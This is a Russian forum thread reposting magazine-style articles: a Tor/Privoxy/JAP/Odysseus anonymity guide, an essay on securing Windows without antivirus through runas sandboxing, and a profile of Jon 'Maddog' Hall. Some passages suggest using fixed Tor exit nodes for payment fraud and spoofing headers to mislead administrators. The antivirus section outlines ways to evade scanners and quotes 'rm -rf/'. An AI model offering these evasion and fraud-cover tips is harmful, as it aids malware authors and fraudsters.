Теперь что касается Privoxy. По сути, это обыкновенный HTTP-прокси, но с офигенными функциями фильтрования трафика, используемыми для обеспечения анонимности пользователя, динамического изменения содержания веб-страниц, управления cookies, ограничения доступа к некоторым сайтам и удаления рекламы, баннеров, всплывающих окон и spyware. Любые действия по фильтрации могут быть четко запрограммированы с помощью внутренней системы правил. Для нас самое важно то, что Privoxy анализирует HTTP-заголовки и подменяет их в случае необходимости согласно заданному набору рулесов для предотвращения передачи в заголовках какой-либо компрометирующей информации. В том числе «снимка» сессии пользователя, по которой впоследствии его можно будет идентифицировать среди множества других клиентов.

Надеваем камуфляж

Раньше, когда Tor только появился, приходилось долго и нудно ковыряться с текстовыми конфигами Privoxy и Tor. Сейчас все значительно проще: на официальном сайте Tor (http://tor.eff.org/index.html.ru) доступен готовый пакет, состоящий из непосредственно самого Tor, Privoxy, а также Vidalia, графической оболочки для управления системой. Во время установки трогать вообще ничего нельзя: все заинсталлится и без твоей помощи. После завершения процесса не спеши искать ярлычок Tor’а и запускать его. Поскольку мы установили GUI-оболочку для управления программой, то стартовать нужно именно ее. В трее появится зеленая перечеркнутая луковица. Это значит, что сервис отключен. Щелкни правой кнопкой мыши по ее изображению и в меню выбери Start. После этого программа полезет в инет (о чем, вероятно, завопит файрвол), чтобы обновить список нодов. По сути, уже сейчас можно работать — Tor по умолчанию работает как TCP-прокси на 9050 порту. То есть можно прописать его в браузере и проверять его боеспособность, но спешить не стоит.

Если программа не поддерживает протокол socks4a, и в качестве прокси-сервера указан непосредственно свой Tor-клиент (по умолчанию IP 127.0.0.1 и порт 9050), то она попытается самостоятельно определить IP-адрес запрашиваемого сервера. Скорее всего, для этого она отправит запрос на DNS-сервер твоего настоящего интернет-провайдера. А это мало того, что спалит тебя провайдеру, так еще и выдаст удаленному серверу используемый тобою DNS (который наверняка находится в подсети провайдера). Проверить возможность такого исхода несложно, если зайти через прокси на сайт www.dnsstuff.com/tools/aboutyou.ch и увидеть адрес своего DNS-сервера. Но не зря же мы ставили Privoxy — именно она поможет избежать подобного исхода. Тем более что чудопрокси изначально настроена на работу в связке с Tor’ом, поэтому разбираться с ее хитроумными правилами и конфигурацией тебе не придется. Достаточно запустить ее.

После этого на 8118 порту приютится прокси, которая будет резать все то, что может тебя выдать, и далее перенаправлять Tor’у. Для большего удобства рекомендую установить к Firefox’у плагин — TorButton (www.freehaven.net/~squires/torbutton/). Теперь включать и выключать работу Tor’а ты сможешь одной кнопкой мыши. Существует даже специальный набор TorPark (http://freehaven.net/~arrakis/torpark.html), состоящий из Firefox’а и Tor’а, который можно запустись с флешки. Проверить работоспособность системы несложно: достаточно зайти на сервис www.ip2location.com и посмотреть, какую информацию выдаст сайт о твоем месторасположении. Поверь мне: своего настоящего IP-адреса и название родного провайдера ты там не увидишь, а также и упоминания о прокси, поскольку в заголовках соединения отсутствуют все указывающие на это переменные окружения:

HTTP_FORWARDED: (none)

HTTP_X_FORWARDED_FOR: (none)

Программа Vidalia предоставляет несколько других интересных фишек системы. С помощью Bandwidth Graph ты можешь отслеживать сетевую активность системы. Окошко Message Log содержит информацию о деятельности Tor’а и возникающих ошибках. Хит сезона — пункт View Network, в котором отображается информация о нодах системы, а также на карте графически отображается передвижение твоих пакетов. У Tor’а есть совсем немного настроек, но все их ты сможешь задать через панель Configure. Здесь же, кстати, можно подключить русский язык к Vidalia, предварительно закачав его файл локализации (http://trac.vidalia-project.net/browser/trunk/src/lang/vidalia_ru.ts).

Вообще, такая система предоставляет тебе кучу плюсов в работе. Помимо постоянно шифрованного соединения, ты получаешь безотказный аниномайзер. Больше не нужно искать прокси и соксы, которые могут вести логи и к тому же дохнут как мухи. Правда, возникает вопрос: что делать, если существует необходимость придерживаться постоянного месторасположения? Например, при совершении платежных злодеяний или посещении ресурсов, позволяющие отправлять свой трафик только юзерам определенной страны. Для этого в конфигурационном файле Tor — torrc — можно использовать специальную директиву StrictExitNodes 1, обозначающую использование на выходе жестко заданных нодов. А сами ноды задать через директиву exitnodes: exitnodes имя нода1, имя нода2 и т.д. Чтобы не делать это вручную, один из разработчиков TOR придумал утилиту — Nodeblock (http://sandos.ath.cx/~badger/nodeblock.html), которая самостоятельно подбирает список, используемых ONION Router'ов (другое название нодов) по географическому месторасположению.

Анонимность по-немецки

В одном из немецких институтов был разработан довольно хитрый способ сохранения анонимности. В систему пользователя устанавливается специальная прокси-программа JAP (http://anon.inf.tu-dresden.de/index_en.html), которая принимает все запросы пользователя на подключения, криптует и в безопасном режиме отправляет на специальный промежуточный сервер (так называемый микс). Фишка в том, что микс одновременно использует огромное количество пользователей, причем система построена так, чтобы каждый из них был неразличим для сервера. А поскольку все клиенты одинаковые, то и вычислить конкретно одного пользователя не представляется возможным. Миксы обычно устанавливаются на добровольных началах, в основном в университетах, и официально подтверждают, что не ведут никаких логов.

Участие пользователя в настройки системы минимально — по сути, ему нужно установить JAP-прокси и выбрать правильный микс. На момент написания статьи в программе доступно 5 анонимных серверов. Для каждого из них выводится различная информация об одновременном количестве пользователей. Выбор обычно неоднозначен: так как чем больше пользователей, тем больше анонимность, но и меньше скорость соединения (ресурсы сервера небезграничны). С другой стороны, можно добиться большей скорости, выбрав менее популярный сервис, но проиграть по уровню безопасности. Кстати говоря, степень анонимности отображается с помощью специальной шкалы.

Что особенно прикольно, так это полная совместимость Tor'а с нодами. Закачав с помощью самой же программы список промежуточных серверов, можно смело их использовать. Причем ты вправе сам указать, из какого количества нодов строить цепочки, как часто их менять и т.д. По умолчанию сервис принимает соединения на 4001 порту, поэтому не забудь прописать проксю 127.0.0.1:4001 в браузере.

Устраиваем маскарад

Во время каждого посещения веб-страницы твой браузер передает массу технической информации. Такие компрометирующие тебя данные, как локализация ОС, версия браузера, часовой пояс, страница, с которой был осуществлен переход, передаются в так называемых переменных окружениях. Их легко отследить, если зайти на сайт www.showmyip.com. Вся информация как на ладони. Замаскироваться под американца легко — достаточно установить английскую версию винды и выбрать правильный часовой пояс. Но в других случаях найти подходящий дистрибутив будет проблематично. Да и вообще, сплошь и рядом встречаются ситуации, когда нужно изменить значения других переменных окружения. Тут и возникает идея: что если в эту компанию добавить некий фильтр между сетью и клиентом, способный изменять HTTP-заголовки на любой лад, вводя в заблуждение любого админа? В этом нам поможет Odysseus (www.wastelands.gen.nz/odysseus/) — сетевой пакет, впервые продемонстрированный на хакерской конференции Defcon и созданный настоящими профессионалами своего дела.

Программа представляет собой мощный конструктор HTTP-запросов, с возможностью на лету изменять куки, GET/POST-запросы, вносить дополнительные параметры, в общем, устраивать полный сетевой беспредел. Физически Odysseus, как и предыдущие программы, представляет собой прокси-сервер, который по умолчанию занимает 50000 порт. В принципе, аналогичные действия можно провернуть с помощью описанной выше Privoxy, но в данном случае все намного проще. Все действия осуществляются через удобную и понятную GUI-оболочку, а поэтому отпадает всякая необходимость заморачиваться с синтаксисом правил и фильтров, как это было в случае с Privoxy. И это круто. Допустим, тебе требуется подменить User Agent (информацию о браузере). Для этого щелкой правой кнопкой по значку программы в трее, затем выбирай инструмент Rewriter (средство для автоматичной подмены передаваемых серверу параметров). В предложенном окне находится список используемых правил: выбираем ^User-Agent и наблюдаем свойства правила. Принцип прост: Одиссей ищет в передаваемом запросе параметр, указанный в поле Match, и заменяет его строкой, заданной в поле Replace. Поэтому единственное, что от тебя требуется, — это вписать значения в нужные поля. Чтобы, например, прикинуться пользователем с Internet Explorer’ом, достаточно вписать в поле Replace строку «User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)». Аналогичным образом можно фильтровать куки (удалять строки Set-Cookie), добавлять новые параметры в запрос (например, для хитрой аутентификации на своем сервисе, которая будет анализировать именно этот параметр) и т.д.

Любые запросы к удаленному серверу перехватываются, а передаваемые в запросе значения переменных легко корректируются, если в Одиссее активирован режим Interceptor. Он аналогичным образом включается через всплывающее меню ярлычка программы в трее — включи его. А теперь попробуй зайти на какой-нибудь сайт. Тут же всплывает окно с указанием всех параметров, каждый из которых легко исправить. Изучи, подправь, что нужно, и жми Done — теперь все параметры, в том числе исправленные, будут переданы на настоящий сервер.

С помощью режима Activity Log’а можно четко проанализировать общение браузера и удаленного сервера — это еще один режим работы программы. Кстати, для каждого из режимов можно назначить горячую клавишу и быстро вызвать нужный из них по хоткею. Это и многое другое настраивается в опциях программы. Штука поистине мощная, и роль подобного инструмента в целях обеспечения безопасности нельзя недооценивать. Очень часто приходится подменять тип используемого браузера в User Agent, затирать Referer. Мне даже приходилось добавлять в запрос поля X-Forwarder, Via и Proxy-connect, чтобы заставить сервер думать, что я работаю через публичный прокси-сервер (официальный, с логами и не вызывающий подозрений).

ИНФО

Ты спрашиваешь, какая система лучше всего подходит для соблюдения анонимности? Отвечаю: Anonym OS (http://sourceforge.net/projects/anonym-os/). Операционка построена на базе OpenBSD и изначально настроена на прозрачное шифрование трафика, а также сохранение анонимности. В том числе средствами Tor. Другие ОС для анонимного серфинга: ELE (www.northernsecurity.net/download/ele/), Virtual Privacy Machine (wiki.noreply.org/noreply/VirtualPrivacyMachine.), Phantomix (http://phantomix.ytternhagen.de/)

WWW

http://tor.eff.org/ — официальный сайт Tor

www.privoxy.org — домашняя страница Privoxy

www.vidalia-project.net/ — удобная GUI-оболочка для управления Tor

http://privacy.hro.org — сайт о приватности и независимости частной жизни в сети





--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Dec 1 2006, 11:15
Сообщение #46


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



Антивирус на помойкуЗащищенная ось без антивирусов и тормозов

Некоторые воспринимают антивирус как неотъемлемую часть операционной системы и просто не мыслят свое существование без защитных пакетов от разных производителей, свободно пропускающих заразу, но вызывающих жуткие тормоза и целый ворох конфликтов, вплоть до выпадения в BSOD. Самый лучший антивирус — это сама ось! Нужно только научиться правильно ею пользоваться!

Терминологические войны

Windows NT (и все производные от нее системы — W2K, XP и частично Vista) изначально проектировалась как защищенная оси, способные постоять за себя и дать вирусам решительный отпор без каких-либо дополнительных средств, в том числе и широко разрекламированного Microsoft Anti-Spy-Ware. Но, чтобы не увязнуть в терминах, необходимо уточнить ряд определений.

Условимся называть вирусами саморазмножающиеся программы, паразитирующие на исполняемых файлах, динамических библиотеках, драйверах и других объектах подобного рода. Эпоха вирусов закончилась вместе с крушением MS-DOS, когда единственным средством добычи новых программ были дискеты товарища или, в лучшем случае, FIDO и BBS. С эпидемиологической точки зрения, все это создавало крайне напряженную обстановку. Копировать программы друг у друга — все равно что ширяться из одного шприца. С другой стороны, антивирус годичной давности считается вполне свежим и актуальным. Основными носителями вирусов были люди, а не файлы, поэтому масштабы эпидемии определялись исключительно интенсивностью копирования программ.

С появлением сети пользователи стали закачивать дистрибутивы программ из инета, а вирусам для размножения перестали требоваться люди. Используя дыры в подсистемах безопасности и ошибки типа переполнения буфера, любой вирус буквально за несколько часов может заразить практически все уязвимые узлы, при этом ему совершенно не обязательно внедряться в исполняемые объекты. Зачем привлекать к себе лишнее внимание, когда можно ограничиться временным проживанием в оперативной памяти. Если заражен хотя бы 1% всех машин в сети, то вирус, умирая при перезагрузке, через незаткнутые дыры будет возвращаться вновь и вновь. Такие вирусы принято называть червями, и это один из наиболее распространенных типов компьютерной заразы на сегодняшний день.

Еще существуют «психологические» вирусы, представляющие собой обыкновенные исполняемые файлы и распространяющиеся через вложения электронной почты, ICQ, web и ftp. Свою историю они ведут от «крэкеров интернета», завлекающих бесплатным доступом в сеть, а на самом деле, форматирующим жесткий диск. Этот подкласс заразы назвали Троянским Конем. Сейчас же времена первобытного варварства остались позади, и большинство троянов не уничтожают информацию, поскольку это сделает их пребывание слишком заметным, а скрыто устанавливают шпионскую закладку, похищающую пароли и содержимое электронных кошельков. Такие компьютеры принято называть зомби или дронами. Собрав огромную армию дронов, хакер может совершать распределенные атаки и делать кучу других антисоциальных вещей. Например, рассылать спам.

Антивирусы — за гранью возможного

Антивирусы в настоящее время практически полностью утратили былую значимость и усиленно пытаются отойти от пропасти, на дне которой они находятся. Вирусы, заражающие исполняемые файлы, за последние несколько лет фактически перевелись, к тому же запретить запись в исполняемые файлы средствами операционной системы намного проще, дешевле, быстрее и надежнее, чем устанавливать антивирусный пакет. И уж совсем бессмысленно пытаться лечить зараженные объекты, ведь в любой момент их можно переустановить с дистрибутивной копии, хранящейся на CD-R/RW или скачанной из сети.

Антивирусный монитор, следящий за всеми создаваемыми/открываемыми файлами и проверяющий их на лету, — это дополнительные тормоза (подчас очень значительные): конфликты, критические ошибки, голубые экраны смерти и прочий ничем не оправданный геморрой. Вся проблема в том, что антивирус может ловить только те вирусы, о которых знает, а вирусы сейчас пишут все кому не лень, так что даже при экстраординарной степени оперативности никакой гарантии, что вся зараза будет распознана, у нас нет. Более того, вирус, упакованный слегка подправленной версией крутого протектора, имеет 100% шансы остаться незамеченным! Сложные протекторы уже не распаковываются на эмуляторе ЦП, и для их снятия требуется статический распаковщик, входящий в «движок» антивирусной базы и справляющийся только со строго конкретными версиями протекторов и очень болезненно относящийся даже к незначительным изменениям структуры упакованного файла. Да что там структура! Обычно бывает достаточно внедрить в точку входа jump на инструкцию, неизвестную эмулятору (например, что-нибудь из набора SSE/SSE2), и антивирус идет лесом, поскольку переменная длина x86 инструкций не позволяет ему определить начало следующей машинной команды!

Впрочем, даже если антивирусу удастся побороть упаковщик и передать эвристику, распакованный код никаких вирусных признаков все равно там ни за что не обнаружит, ну разве что это будет пионерский вирус. Наличие незашифрованных текстовых строк с ключами реестра, ответственными за автозапуск, имен исполняемых файлов антивирусных программ, команд в стиле «rm -rf/» с высокой степенью указывает на зловредную программу, но их очень легко зашифровать. Еще эвристик может анализировать таблицу импорта и аргументы, передаваемые функции GetProcAddress. А если там встретится WriteProcessMemory, VirtualAllocEx, CreateRemoteThread или что-то еще в этом роде, он сделает вывод, что имеет дело с программой, способной внедряться в другие процессы. Верный признак червей и отладчиков. Ситуация сильно осложняется тем, что многие вирусные приемы сейчас активно используются протекторами, и, если эвристик не утихомирить, он отправит в топку добрую половину легальных программ, чего допускать ни в коем случае нельзя! Да и вообще, если создатель вируса неглупый человек, то он многократно прогонит его через различные эвристики, добиваясь их полной и безоговорочной капитуляции.

Что же касается червей (и, в частности, нашумевшего MS BLAST, известного также под кличкой Love San), то это вообще песня. Удаляют его антивирусы, не удаляют — что толку? Пока есть дыра, он словно феникс из пепла будет появляться вновь и вновь. К тому же всегда существует вероятность, что кто-то умный напишет свой собственный shell-код, не имеющий с MS BLAST'ом ничего общего, а потому и не детектируемый никаким антивирусом! Некоторые дыры можно закрыть брандмауэром, но в общем случае для этого необходимо установить заплатку от производителя уязвимого продукта, которым может быть как сама ось, так и один из ее компонентов: IE, FireFox и т.д.

Еще существует такой тип антивирусов, как ревизоры, в задачу которых входит проверка целостности существующих файлов и контроль за вновь созданными. Некоторые ревизоры также контролируют и реестр, особенно ветки, прямо или косвенно ответственные за автоматический запуск программ. Во времена MS-DOS это была очень хорошая штука, но сейчас винчестеры так разжирели, что процедура сканирования отнимает кучу времени, к тому же многие сканеры содержат ошибки, позволяющие заразить файл без изменения его контрольной суммы (см. статью «Как подделывают CRC16/32», опубликованную в «Хакере»), не говоря уже о том, что при правильной политике разграничения доступа сводит актуальность сканеров на нет, тем более, начиная с W2K, система сама контролирует целостность жизненно-важных файлов через механизм SFC. Ну вот, сейчас кто-то скажет, что SFC легко обмануть, особенно если вирус стелсируется на уровне ядра или вообще не внедряется ни в какие объекты файловой системы, существуя лишь в виртуальной памяти какого-нибудь процесса.

Контроль над целостностью виртуальной памяти процессоров берут на себя как антивирусы, так и персональные брандмауэры, распознающие и отсекающие все известные способы внедрения в чужое адресное пространство, да вот только работает этот механизм кое-как. Зловредному коду, запущенному с пониженными привилегиями, доступ к чужим процессам можно запретить средствами самой операционной системы, а код, запущенный с правами администратора, пройдет сквозь все уровни защиты, как нож сквозь масло (при условии, что его писал не пионер, а хотя бы комсомолец). Самое неприятное, что существует множество легальных программ, например, мультимедийных клавиатур и мышей, использующих внедрение в чужое адресное пространство для реализации своих мультимедийных возможностей, поэтому слепой запрет брандмауэра/антивируса приведет к их неработоспособности! Значит, необходимо предоставить пользователю возможность выбора. А сможет ли он отличить честную программу от нечестной? Но даже не это самое страшное. Чем глубже внедряется брандмауэр/антивирус в систему, тем сложнее зловредному коду его обойти, но и тем больше конфликтов и глюков он (брандмауэр/антивирус) вызывает.

Получается так, что грамотно настроенной системе никакой антивирус не нужен, а с безграмотной никакой антивирус все равно не справится (брандмауэр стоит ставить только затем, чтобы отделить домашнюю локальную сеть от интернета и следить за сетевой активностью установленных программ, выявляя не только шпионов, но и легальные программы, пытающиеся проверить корректность регистрации).

Никакие, даже самые совершенные антивирусы ни от чего не спасают! При этом они стоят немалых денег, пожирают сетевой трафик частыми обновлениями, вызывают конфликты и тормозят работу системы, между тем система вполне может справиться с вирусами и сама — никакие дополнительные костыли ей не нужны!

Разграничение доступа — попробуй пробей

В отличие, например, от BSD, Windows NT не является многопользовательской операционной системой, поскольку только один пользователь может работать с компьютером в любой момент времени, и прежде чем переключиться на другого, необходимо завершить текущий сеанс, закрыв все приложения, и лишь потом… А вот в BSD все очень просто: нажал Alt-F#, переключился на соседнюю консоль — и все! В Windows XP наконец-то появилась возможность переключения сеансов разных пользователей без завершения, но механизма взаимодействия между пользователями как не было, так и нет.

Правда, в текущем сеансе можно запускать программы от имени другого пользователя, но это, во-первых, совсем не то, а во-вторых, далеко не все программы соглашаются на такой запуск, и еще меньше из них сохраняют свою работоспособность в полном объеме. Так что без бубна здесь не обойтись. Если нет бубна, то сойдет и обычный оцинкованный таз.

Идея противостояния вирусам заключается в выборе правильной политики разграничения доступа, тогда вирус (или другая зловредная программа) просто не сможет напакостить и нанести значительный урон. А для этого все потенциально опасные программы нужно запускать в своеобразной песочнице. В идеале — на виртуальной машине типа VMware, но про VMware мы уже неоднократно писали, а вот про разграничение доступа материалов практически нет.

Начнем с того, что никогда, ни при каких обстоятельствах не следует постоянно сидеть под «администратором», поскольку любая запущенная программа может делать с системой все, что ей вздумается. Под администратором следует заходить в систему только для выполнения «ремонтных» работ — установки новых драйверов, изменения параметров конфигурации и т.д. А все остальное время проводить под «опытным пользователем» или просто «пользователем» с ограниченным доступом. Чем меньше у вас привилегий, тем меньше их и у каждой запущенной вами программы, однако под обыкновенным пользователем многие программы работать отказываются, поскольку требуют записи в каталог Program Files или в другие «злачные» места. Зато потом наступает тишь да гладь — ни вирусов, ни другого малваре.

Необходимость в периодическом резервировании, естественно, до сих пор существует. Надежнее всего резервироваться на CD-R/RW, DVD-RW, ZIP, стримеры и прочие внешние носители информации, однако это непроизводительно, неудобно, да и надежность у винчестеров все же повыше будет, чем у того же CD-RW. Поступим так. Создадим нового пользователя с администраторскими правами (Пуск -> Панель Управления -> пользователи и пароли -> Имя -> Пароль -> Другой -> Администраторы), назовем его, к примеру, «backup», зайдем под его именем в систему, создадим каталог general-stores (то есть общее хранилище) и скопируем туда все, что необходимо. Затем, щелкнув по каталогу правой кнопкой мыши, в появившемся контекстом меню выбираем вкладку «свойства», а там — «безопасность» со списком допущенных лиц. По умолчанию каталог доступен для всех, что никак не входит в наши планы, поэтому удаляем «всех» напрочь, предварительно сбросив галочку «переносить наследуемые от родительского объекта разрешения на этот объект». Все!!! Теперь этот каталог недоступен никому, даже системе! И только владелец, создавший его (то есть «backup»), может войти в раздел «безопасность» и вернуть «всех» на место. Внимание! Администратор не сможет этого сделать! Ну вообще-то, чтобы так не извращаться, после удаления «всех» можно добавить пользователя «backup», делегировав ему полный доступ к каталогу. Все же остальные пользователи, включая членов группы, добраться до этого каталога не смогут. Хорошая защита от вирусов и прочих деструктивных программ, неправда ли? Кстати говоря, задумаемся, а что произойдет, если случайно (преднамеренно) удалить пользователя «backup»? Ведь тогда доступ к архиву не сможет получить никто! К счастью, штатная утилита chkdsk распознает такую ситуацию, и, если видит подобный каталог-зомби, она автоматически возвращает «всех», воскрешая информацию из небытия.

Песочница — не только детская радость

Нашей следующей задачей будет постройка «песочницы» для всех тех программ, что могут быть атакованы из сети, к числу которых принадлежит IE, Fire Fox, Outlook Express, The Bat, ICQ и другие. Каждая из них должна быть запущена из-под ограниченного пользователя, не имеющего доступа ни к каким каталогам, кроме тех, которые явно нужны самой программе. В принципе, можно завести одного ограниченного пользователя на всех, обозвав его, к примеру, «sandbox» (то есть песочница), однако в этом случае червь, пробравшийся через IE, сможет разрушить почтовую базу, накопленную за многие годы, что будет обидно. Поэтому лучше всего дать каждой программе по пользователю (конечно, это увеличивает потребности системы в памяти, но не столь радикально).

Итак, создан ограниченный пользователь «sandbox», в свойствах «безопасности» каждого каталогов (или всех дисков целиков) «sandbox» добавлен, и доступ ему запрещен (политика запрета имеет приоритет над политикой разрешений, поэтому удалять «всех» совершенно не обязательно). По завершению этой нехитрой операции у sandbox'а останутся только те каталоги, которые ему нужны (как правило, это каталоги самой программы, причем без права записи в исполняемые файлы).

Попробуем запустить в песочнице, например, Firefox. Создаем ярлык с firefox.exe (если только это не сделал инсталлятор), щелкаем по нему правой клавишей, идем в «свойства», затем — в «дополнительно» и там взводим галочку «запускать от имени другого пользователя». Говорим «ОК» и запускаем. Появляется грозное диалоговое окно, требующее ввода имени и пароля. Вводим. И… Горящий Лис не запускается! Между прочим, в Linux/BSD подобная операция протекает без каких бы то ни было проблем (в XP и выше проблем с конкретной Firefox также не возникает. — Прим. редактора). А здесь нужен бубен или более конкретно — файловый монитор Марка Руссиновича, показывающий, на каких именно файловых операциях программа обламывается (вот так, значит, разработчики относятся к сообщениям об ошибках). Качаем файловый монитор: www.sysinternals.com/Utilities/Filemon.html (он, кстати, занимает меньше двухсот килобайт и распространяется совершенно бесплатно). Запускаем из-под администратора: создаем ярлык и взводим уже известную нам галочку «запускать от…»! В данном случае файловый монитор запускается, потому что запрограммирован правильно, и мы быстрым спортивным шагом идем в Options -> Filter/Highlight или нажимаем <CTRL-L>. В появившемся диалоговом окне взводим все галочки, кроме «Log Successes», поскольку мониторить успешные операции нам незачем! Нам нужны ошибки! Нажимаем «OK» и перезапускаем программу (фильтр будет действовать только после запуска). Вновь запускаем Горящего Лиса. Что мы видим? Сначала идут ошибки поиска динамических библиотек в тех каталогах, где их нет — это нормально. А вот дальше Горящий Лис пытается создать папку Mozilla прямо в каталоге WINNT (в ней он хранит свои настройки, кэш страниц и т.д.), куда его, естественно, не пускают, и он тихо умирает.

Да… задача. Пробуем утилиту командной строки runas, запустив ее так: «runas /user:sandbox firefox.exe» (при этом firefox.exe должен быть в текущей директории). Нас деловито спрашивают пароль и… ничего! Теперь Горящий Лис лезет в DocumentnSetting\Default User, куда ему также нет доступа! В чем же дело?! В чем причина?! А в том, что для корректной работы большинства программ необходимо загрузить еще и профиль пользователя, от имени которого мы их запускаем, поэтому правильный вариант выглядит так: «runas /profile /user:sandbox firefox.exe». Теперь запуск проходит без проблем!

А вот Опера хранит кэш не в профиле пользователя, а непосредственно в своем каталоге (впрочем, это зависит от ее настроек), поэтому sandbox'у необходимо присвоить права на запись в «program files\opera».

Остальные программы «распутываются» аналогичным образом. Если не помогает файловый монитор, то качаем монитор реестра (www.sysinternals.com/Utilities/Regmon.html) и смотрим, в каких ветвях нуждается программа. Маленький подводный камень: перенаправить ввод с клавиатуры на файл, увы, не удастся, и пароль придется каждый раз вводить вручную, что напрягает. Впрочем, программисты запросто напишут программу, лишенную этих недостатков. Нам же главное — создать кучу пользователей, распределив права доступа так, чтобы зловредные программы не имели никаких шансов ни для размножения, ни для шпионской деятельности.

Заключение

Создание защищенной системы без использования антивирусов — это реально! Пускай на первоначальном этапе нам придется проделать большой объем работы и очень много думать головой, создавая столько пользователей, чтобы полностью изолировать одно потенциально опасное приложение от всех остальных. Зато будешь знать наверняка, что, работая на твоей любимой машине, домашние ничего плохого с ней сделать не смогут.

DVD

На диске ты найдешь полную версию статьи Криса, а также программы, упомянутые в статье.

ИНФО

Если в свойствах папки или файла ты вдруг не обнаружишь вкладки «Безопасность», можешь во всем винить парней из Microsoft. Ребята решили упростить все до безобразия и по умолчанию спрятали эти настройки от ушастого пользователя. Вернуть все на свои места можно через «Проводник -> меню Сервис -> Свойства папки -> Вид», где нужно снять галку с опции «Использовать простой общий доступ к файлам».





--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Dec 1 2006, 13:08
Сообщение #47


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



X-Profile: Jon "Maddog" Hall



Краткая биография:

Йон Холл родился в небольшом американском городке штата Нью-Йорк. В 4 года он поставил свой первый эксперимент с техникой, воткнув телевизионную антенну в розетку, в результате чего получил немаленький разряд током и отлетел в противоположную сторону комнаты. Этот опыт оставил неизгладимое впечатление, наглядно продемонстрировав, сколь велика мощь технологий, и повлияв на выбор карьеры. Поступив в Университет Дрекселя, Йон выбрал среди курсов электронную инженерию и компьютерную науку, полностью углубившись в их изучение. В 60-е годы учебных заведений, имеющих узкоспециализированный компьютерный факультет, практически не было. Студентам, которые решили изучать компьютеры, приходилось брать «в нагрузку» дополнительный предмет. Йон взял бизнес-курс. Первыми его компьютерами стали IBM 1130 и PDP-8, на которых он постигал FORTRAN и ассемблер. PDP был особенно привлекательным, так как, в отличие от громоздких мейнфреймов, на этой машине студентам разрешалось работать в любое время. Большую часть знаний Йон постигал сам, читая редкие книги и применяя полученный опыт на практике. Защитив степень бакалавра, он устроился на работу, в фирму Aetna Life and Casualty, где занялся ассемблерным программированием мейнфреймов IBM. А в свободное от работы время продолжал заочное обучение в одном из Нью-Йоркских вузов, готовясь получить степень магистра компьютерных наук. Через 4 года, став магистром, Йон всерьез задумался о возможности преподавания, и в конце концов договорился с руководителем небольшого технического колледжа, где стал вести компьютерный курс. Как потом скажет Йон в одном из своих интервью, это были лучшие годы его жизни - он получал огромное удовольствие от общения и обучения молодежи. Студенты запомнили его как безумно вспыльчивого и строгого профессора, который не делает поблажек ни себе, ни другим. И прозвали его Maddog (сумасшедшая собака) – под этим прозвищем он со временем станет известен всем UNIX-сообществу.

Преподавательская деятельность не приносила большого дохода, и за 3,5 года работы в колледже, Йон задолжал государству $4000. Пришлось принять решение: оставаться и наращивать долг или перейти на работу в успешную коммерческую компанию. Холл выбрал второе, тем более что компания Bell уже давно приглашала талантливого программиста к себе. Ему удвоили зарплату и продолжали ее увеличивать довольно быстрыми темпами. Йон работал главным системным администратором и именно в Bell впервые познакомился с операционной системой UNIX. Правда, карьера в телефонной компании не была долгой. После того как Йон узнал, что Digital Equipment Corporation стартовала группу по разработке собственной UNIX-совместимой системы и набирает штат сотрудников, Maddog решил перейти к ним. Он преклонялся перед DEC еще в институте, работая на их компьютерах, к тому же сам проект обещал быть весьма увлекательным. Работая в Digital Equipment, Йон Холл познакомился со многими интересными людьми, включая Линуса Торвальдса, которому помог портировать Linux на 64-битные процессоры Alpha
Незадолго до приобретения Digital Equipment компанией Compaq, Йона избрали исполнительным директором некоммерческой организации Linux International, и в 1999-м году, когда DEC перешла новому владельцу, профессор Холл оставил свой пост, чтобы все свое время посвятить развитию Linux.

Известные хобби:

Ходить в гости к друзьям, путешествовать, фотографировать, ездить на джипе, встречаться и общаться с линуксоидами.

Проекты:

Основным проектом Йона Холла был и остается Linux. Он написал множество статей об этой ОС в разные газеты и журналы, а также несколько книг для серии «For dummies», включая: «Linux для чайников», «Red Hat Linux Fedora для чайников», «Linux in a Box для чайников» и несколько других..

Чем занимается сейчас:

Йон Maddog Холл объездил с лекциями по Unix и Linux практически весь мир. Он желанный гость на любых технических конференциях и является активным сторонником свободного ПО, продвигая идеи опенсорсного движения в массы. Многие считают его одним из лидеров opensource movement, наряду с Ричардом Столлманом. Параллельно своей работе в Linux International, Maddog сотрудничает с корпорацией Silicon Graphics и поддерживает многие некоммерческие сетевые проекты по опенсорс и программированию (например, USENIX Association).

Цитаты:

«Я хотел бы, чтобы в сутках было 50 часов, или чтобы я умел не спать. Также было бы здорово иметь собственный телепортер, как в Стар Треке, и не тратить времени на бесконечные перелеты».

«Что может сделать меня счастливым? Хорошие друзья, полные энтузиазма студенты и теплый песчаный пляж».

«Больше всего меня злит, когда люди говорят: "Это нельзя сделать"». Обычно это значит «сложно сделать», и я много раз демонстрировал, как вещи, которые считались невозможными, делаются без проблем за несколько часов».

«У русских есть гордость. Они знают, что такое воровство и не любят этого делать. Они видят маленькие пластиковые CD, штамповка которых стоит не больше доллара, и с трудом понимают, почему кто-то продает их по цене $500-600».

«Через 10 лет Linux будет править миром. Возможно, раньше это звучало как шутка, но теперь это очевидно».

«Самая поразительная вещь в Linux – это энтузиазм сообщества, отношение этих людей, которое можно выразить двумя словами: «can do».

